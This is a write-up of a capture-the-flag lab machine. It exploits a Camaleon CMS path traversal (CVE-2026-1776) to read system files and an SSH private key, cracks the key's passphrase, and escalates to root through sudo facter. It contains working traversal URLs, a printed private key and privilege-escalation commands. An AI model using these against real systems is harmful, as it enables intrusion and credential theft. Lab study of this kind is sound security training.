Enumeration
PORT STATE SERVICE VERSION
54321/tcp open http Golang net/http server
This is a S3 AWS Bucket, but it is secured and has no default credentials
and 80 http, 22 ssh
There is a /admin-page, where one can create a user
Exploitation of CVE-2026-1776
If we check the version of Camaleon CMS we find that it is vulnerable to CVE-2026-1776: https://nvd.nist.gov/vuln/detail/CVE-2026-1776
Camaleon CMS versions 2.4.5.0 through 2.9.0, prior to commit f54a77e, contain a path traversal vulnerability in the AWS S3 uploader implementation that allows authenticated users to read arbitrary files from the web server’s filesystem. The issue occurs in the download_private_file functionality when the application is configured to use the CamaleonCmsAwsUploader backend.
- we are authenticated (user created through /admin-page)
- we did not find any download functionality, but because the vulnerable function is known (download_private_file), we can try to trigger it through a request to the web server
Proof Of Concept
If the system is vulnerable, we should be able to read arbitrary files from the web server's filesystem.
We can try to trigger the vulnerability by sending a request to the download_private_file function:
http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../etc/passwd
This request will download the /etc/passwd file from the web server's filesystem:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
(...)
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
Two users are interesting here: william and trivia
Capturing the user flag
Now that we know a username, we can easily capture the user flag:
http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../home/william/user.txt
Server Access via SSH
The exploitation of the CVE is not done yet – and it really shows what is possible with access to arbitrary files. If one thinks about interesting files on a target machine, there should be one file immediately coming to mind: The private SSH key of the user.
So let's get the private SSH key of user william and gain a real foothold on the machine:
http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../home/william/.ssh/id_ed25519
We do get a promising result:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABALm8SsuI
RDW5TwAlj74eRQAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHA/HSLbppym5Jwr
dp0gslwZrW7ao9CMGY/yllfLAJ5xAAAAoMZkSRd+OaMlQzhDu+NivyjS0K9CQXptCnJdzk
VlkIxl7B3OLCeq+SbH7yMeHe96bFCuSS4B72OOiLi6cTUZmSIQZKzQEk6wvWIoeo7EDuKD
yb6vUSHV4ip2xeQ+hzct1y8kR+3zlmn8Q6bVjUGi8Ax7g/Nv4YX2p48j3LRcZcnqbKIZbm
JNa0rulaaeku/GLQL7R9md+vQQKrVZ4v27ahk=
-----END OPENSSH PRIVATE KEY-----
But if we try to connect to the machine with this key, it will not work. The private key is encrypted with a passphrase, so we need to decrypt it first.
With rockyou.txt and John The Ripper I have found the password dor the encrypted SSH KEY: dragonballz (took around 8 minutes to crack)
john --wordlist=rockyou.txt trivia.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:50 0.01% (ETA: 2026-06-22 03:19) 0g/s 22.99p/s 22.99c/s 22.99C/s 753951..mississippi
0g 0:00:01:29 0.01% (ETA: 2026-06-22 05:07) 0g/s 22.94p/s 22.94c/s 22.94C/s slimshady..jonathan1
dragonballz (pc_trivia) ---- HERE ----
1g 0:00:02:19 DONE (2026-06-13 08:38) 0.007152g/s 22.88p/s 22.88c/s 22.88C/s grecia..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Privilege Escalation
sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
This box is one of the rare cases where I felt like the PrivEsc was easier than the initial access. Always check sudo -l, because here it has really given us the whole path to the PrivEsc. The (unknown) tool facter can be executed as root, and we can write a oneliner ruby script, which will spawn us a root shell.
Technical PrivEsc:
TF=$(mktemp -d)
echo 'exec("/bin/bash")' > $TF/root_shell.rb
sudo facter --custom-dir=$TF
root@facts:/home/trivia# id
uid=0(root) gid=0(root) groups=0(root)
root@facts:/home/trivia# cat /root/root.txt
80b9...